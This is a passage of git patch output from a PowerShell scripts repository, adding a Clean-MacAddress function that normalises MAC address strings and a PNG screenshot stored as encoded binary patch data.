$MacAddress = $MacAddress.trim() #Remove space at the beginning - $MacAddress = $MacAddress.trimend() #Remove space at the end - } - PROCESS - { - IF ($PSBoundParameters['Uppercase']) - { - $MacAddress = $macaddress.toupper() - } - IF ($PSBoundParameters['Lowercase']) - { - $MacAddress = $macaddress.tolower() - } - IF ($PSBoundParameters['Separator']) - { - IF ($Separator -ne "None") - { - $MacAddress = $MacAddress -replace '(..(?!$))', "`$1$Separator" - } - } - } - END - { - Write-Output $MacAddress - } -} From bf6ad82efd6e8aa2ac62ae2cf0748de5e667d4db Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Wed, 24 Feb 2016 17:47:43 -0500 Subject: [PATCH 062/561] Create Clean-MacAddress.ps1 --- TOOL-Clean-MacAddress/Clean-MacAddress.ps1 | 113 +++++++++++++++++++++ 1 file changed, 113 insertions(+) create mode 100644 TOOL-Clean-MacAddress/Clean-MacAddress.ps1 diff --git a/TOOL-Clean-MacAddress/Clean-MacAddress.ps1 b/TOOL-Clean-MacAddress/Clean-MacAddress.ps1 new file mode 100644 index 00000000..4d8df58d --- /dev/null +++ b/TOOL-Clean-MacAddress/Clean-MacAddress.ps1 @@ -0,0 +1,113 @@ +function Clean-MacAddress +{ +<# + .SYNOPSIS + Function to cleanup a MACAddress string + + .DESCRIPTION + Function to cleanup a MACAddress string + + .PARAMETER MacAddress + Specifies the MacAddress + + .PARAMETER Separator + Specifies the separator every two characters + + .PARAMETER Uppercase + Specifies the output must be Uppercase + + .PARAMETER Lowercase + Specifies the output must be LowerCase + + .EXAMPLE + Clean-MacAddress -MacAddress '00:11:22:33:44:55' + + 001122334455 + .EXAMPLE + Clean-MacAddress -MacAddress '00:11:22:dD:ee:FF' -Uppercase + + 001122DDEEFF + + .EXAMPLE + Clean-MacAddress -MacAddress '00:11:22:dD:ee:FF' -Lowercase + + 001122ddeeff + + .EXAMPLE + Clean-MacAddress -MacAddress '00:11:22:dD:ee:FF' -Lowercase -Separator '-' + + 00-11-22-dd-ee-ff + + .EXAMPLE + Clean-MacAddress -MacAddress '00:11:22:dD:ee:FF' -Lowercase -Separator '.' + + 00.11.22.dd.ee.ff + + .EXAMPLE + Clean-MacAddress -MacAddress '00:11:22:dD:ee:FF' -Lowercase -Separator : + + 00:11:22:dd:ee:ff + + .OUTPUTS + System.String + + .NOTES + Francois-Xavier Cat + www.lazywinadmin.com + @lazywinadm +#> + [OutputType([String], ParameterSetName = "Upper")] + [OutputType([String], ParameterSetName = "Lower")] + [CmdletBinding(DefaultParameterSetName = 'Upper')] + param + ( + [Parameter(ParameterSetName = 'Lower')] + [Parameter(ParameterSetName = 'Upper')] + [String]$MacAddress, + + [Parameter(ParameterSetName = 'Lower')] + [Parameter(ParameterSetName = 'Upper')] + [ValidateSet(':', 'None', '.', "-")] + $Separator, + + [Parameter(ParameterSetName = 'Upper')] + [Switch]$Uppercase, + + [Parameter(ParameterSetName = 'Lower')] + [Switch]$Lowercase + ) + + BEGIN + { + # Initial Cleanup + $MacAddress = $MacAddress -replace "-", "" #Replace Dash + $MacAddress = $MacAddress -replace ":", "" #Replace Colon + $MacAddress = $MacAddress -replace "/s", "" #Remove whitespace + $MacAddress = $MacAddress -replace " ", "" #Remove whitespace + $MacAddress = $MacAddress -replace "\.", "" #Remove dots + $MacAddress = $MacAddress.trim() #Remove space at the beginning + $MacAddress = $MacAddress.trimend() #Remove space at the end + } + PROCESS + { + IF ($PSBoundParameters['Uppercase']) + { + $MacAddress = $macaddress.toupper() + } + IF ($PSBoundParameters['Lowercase']) + { + $MacAddress = $macaddress.tolower() + } + IF ($PSBoundParameters['Separator']) + { + IF ($Separator -ne "None") + { + $MacAddress = $MacAddress -replace '(..(?!$))', "`$1$Separator" + } + } + } + END + { + Write-Output $MacAddress + } +} From c57244f16f4f9e0c94e6fa1288defb17ca64c1a1 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Wed, 24 Feb 2016 17:49:12 -0500 Subject: [PATCH 063/561] Add Clean-MacAddress screenshot --- TOOL-Clean-MacAddress/Clean-MacAddress01.png | Bin 0 -> 47232 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 TOOL-Clean-MacAddress/Clean-MacAddress01.png diff --git a/TOOL-Clean-MacAddress/Clean-MacAddress01.png b/TOOL-Clean-MacAddress/Clean-MacAddress01.png new file mode 100644 index 0000000000000000000000000000000000000000..0a98cc459c329b974e1cab5cd4bd16b62c89f3be GIT binary patch literal 47232 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 